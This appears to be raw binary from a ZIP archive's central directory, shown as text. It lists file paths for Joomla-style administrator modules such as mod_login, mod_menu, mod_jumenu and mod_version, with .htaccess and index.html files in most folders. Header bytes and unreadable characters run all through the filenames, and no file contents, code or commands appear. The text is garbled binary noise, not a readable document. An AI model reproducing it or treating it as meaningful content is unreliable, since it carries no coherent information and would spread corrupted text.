$j[modules/mod_submenu/tmpl/default.phpnuW+APK@y>\)"_modules/mod_submenu/tmpl/.htaccessnuW+APK@y>\B]u`modules/mod_submenu/helper.phpnuW+APK@y>\Vcmodules/mod_submenu/index.htmlnuW+APK@y>\Vcmodules/mod_feed/index.htmlnuW+APK@y>\.vh!Ydmodules/mod_feed/tmpl/default.phpnuW+APK@y>\V sfmodules/mod_feed/tmpl/index.htmlnuW+APK@y>\)fmodules/mod_feed/tmpl/.htaccessnuW+APK@y>\u;JJgmodules/mod_feed/helper.phpnuW+APK@y>\Ր_..Eymodules/mod_feed/mod_feed.xmlnuW+APK@y>\iimodules/mod_feed/mod_feed.phpnuW+APK@y>\)vmodules/mod_feed/.htaccessnuW+APK@y>\ :$$?modules/mod_login/mod_login.phpnuW+APK@y>\|F6ggmodules/mod_login/mod_login.xmlnuW+APK@y>\)v߅]]hmodules/mod_login/helper.phpnuW+APK@y>\)modules/mod_login/.htaccessnuW+APK@y>\Vۛmodules/mod_login/index.htmlnuW+APK@y>\}r3ee"Fmodules/mod_login/tmpl/default.phpnuW+APK@y>\) modules/mod_login/tmpl/.htaccessnuW+APK@y>\V!̣modules/mod_login/tmpl/index.htmlnuW+APK@y>\) <modules/mod_title/tmpl/.htaccessnuW+APK@y>\Z*uee" modules/mod_title/tmpl/default.phpnuW+APK@y>\V!¦modules/mod_title/tmpl/index.htmlnuW+APK@y>\Q6(2modules/mod_title/mod_title.xmlnuW+APK@y>\dmodules/mod_title/mod_title.phpnuW+APK@y>\)modules/mod_title/.htaccessnuW+APK@y>\Vmodules/mod_title/index.htmlnuW+APK@y>\>$modules/mod_popular/tmpl/default.phpnuW+APK@y>\V#=modules/mod_popular/tmpl/index.htmlnuW+APK@y>\)"modules/mod_popular/tmpl/.htaccessnuW+APK@y>\Vmodules/mod_popular/index.htmlnuW+APK@y>\1 modules/mod_popular/helper.phpnuW+APK@y>\ #modules/mod_popular/mod_popular.xmlnuW+APK@y>\#;modules/mod_popular/mod_popular.phpnuW+APK@y>\)modules/mod_popular/.htaccessnuW+APK@y>\+FKKkmodules/mod_logged/helper.phpnuW+APK@y>\ _  !modules/mod_logged/mod_logged.xmlnuW+APK@y>\粣!Vmodules/mod_logged/mod_logged.phpnuW+APK@y>\)qmodules/mod_logged/.htaccessnuW+APK@y>\)!<modules/mod_logged/tmpl/.htaccessnuW+APK@y>\V" modules/mod_logged/tmpl/index.htmlnuW+APK@y>\ G#}modules/mod_logged/tmpl/default.phpnuW+APK@y>\Vmodules/mod_logged/index.htmlnuW+APK@y>\)modules/mod_menu/.htaccessnuW+APK@y>\, ֨00)modules/mod_menu/tmpl/default_enabled.phpnuW+APK@y>\a]! modules/mod_menu/tmpl/default.phpnuW+APK@y>\)"modules/mod_menu/tmpl/.htaccessnuW+APK@y>\V #modules/mod_menu/tmpl/index.htmlnuW+APK@y>\as*$modules/mod_menu/tmpl/default_disabled.phpnuW+APK@y>\Vb+modules/mod_menu/index.htmlnuW+APK@y>\N OO+modules/mod_menu/helper.phpnuW+APK@y>\J  f;modules/mod_menu/mod_menu.phpnuW+APK@y>\é>modules/mod_menu/mod_menu.xmlnuW+APK@y>\lj00Gmodules/mod_menu/menu.phpnuW+APK@y>\)x\modules/mod_jumenu/.htaccessnuW+APK@y>\% C]modules/mod_jumenu/helper.phpnuW+APK@y>\17!kmodules/mod_jumenu/mod_jumenu.xmlnuW+APK@y>\ 1$i!qpmodules/mod_jumenu/mod_jumenu.phpnuW+APK@y>\/umodules/mod_jumenu/sql/uninstall.mysql.utf8.sqlnuW+APK@y>\)  vmodules/mod_jumenu/sql/.htaccessnuW+APK@y>\).vmodules/mod_jumenu/sql/updates/mysql/.htaccessnuW+APK@y>\:)BB/wmodules/mod_jumenu/sql/updates/mysql/1.20.0.sqlnuW+APK@y>\)(Zzmodules/mod_jumenu/sql/updates/.htaccessnuW+APK@y>\:)BB-1{modules/mod_jumenu/sql/install.mysql.utf8.sqlnuW+APK@y>\)}modules/.htaccessnuW+APK@y>\D#~modules/mod_latest/tmpl/default.phpnuW+APK@y>\)!umodules/mod_latest/tmpl/.htaccessnuW+APK@y>\V"Emodules/mod_latest/tmpl/index.htmlnuW+APK@y>\<;8 8 modules/mod_latest/helper.phpnuW+APK@y>\V;modules/mod_latest/index.htmlnuW+APK@y>\ʰ!modules/mod_latest/mod_latest.phpnuW+APK@y>\)ƕmodules/mod_latest/.htaccessnuW+APK@y>\;e& & !modules/mod_latest/mod_latest.xmlnuW+APK@y>\)modules/mod_quickicon/.htaccessnuW+APK@y>\py'֣modules/mod_quickicon/mod_quickicon.phpnuW+APK@y>\]   ' modules/mod_quickicon/mod_quickicon.xmlnuW+APK@y>\)$modules/mod_quickicon/tmpl/.htaccessnuW+APK@y>\V%Tmodules/mod_quickicon/tmpl/index.htmlnuW+APK@y>\Q@&Ȱmodules/mod_quickicon/tmpl/default.phpnuW+APK@y>\V ɲmodules/mod_quickicon/index.htmlnuW+APK@y>\% 8modules/mod_quickicon/helper.phpnuW+APK@y>\V"-modules/mod_status/tmpl/index.htmlnuW+APK@y>\)!modules/mod_status/tmpl/.htaccessnuW+APK@y>\mLHH#nmodules/mod_status/tmpl/default.phpnuW+APK@y>\) modules/mod_status/.htaccessnuW+APK@y>\Vmodules/mod_status/index.htmlnuW+APK@y>\ !@modules/mod_status/mod_status.xmlnuW+APK@y>\!9modules/mod_status/mod_status.phpnuW+APK@y>\)modules/mod_version/.htaccessnuW+APK@y>\)"Umodules/mod_version/tmpl/.htaccessnuW+APK@y>\K(ll$&modules/mod_version/tmpl/default.phpnuW+APK@y>\V#modules/mod_version/tmpl/index.htmlnuW+APK@y>\Q#Xmodules/mod_version/mod_version.phpnuW+APK@y>\*%#modules/mod_version/mod_version.xmlnuW+APK@y>\Vmodules/mod_version/index.htmlnuW+APK@y>\Wmodules/mod_version/helper.phpnuW+APK@y>\V-kmodules/mod_version/language/en-GB/index.htmlnuW+APK@y>\),modules/mod_version/language/en-GB/.htaccessnuW+APK@y>\d{{<modules/mod_version/language/en-GB/en-GB.mod_version.sys.ininuW+APK@y>\p ww8modules/mod_version/language/en-GB/en-GB.mod_version.ininuW+APK@y>\V'modules/mod_version/language/index.htmlnuW+APK@y>\)&modules/mod_version/language/.htaccessnuW+APK~~\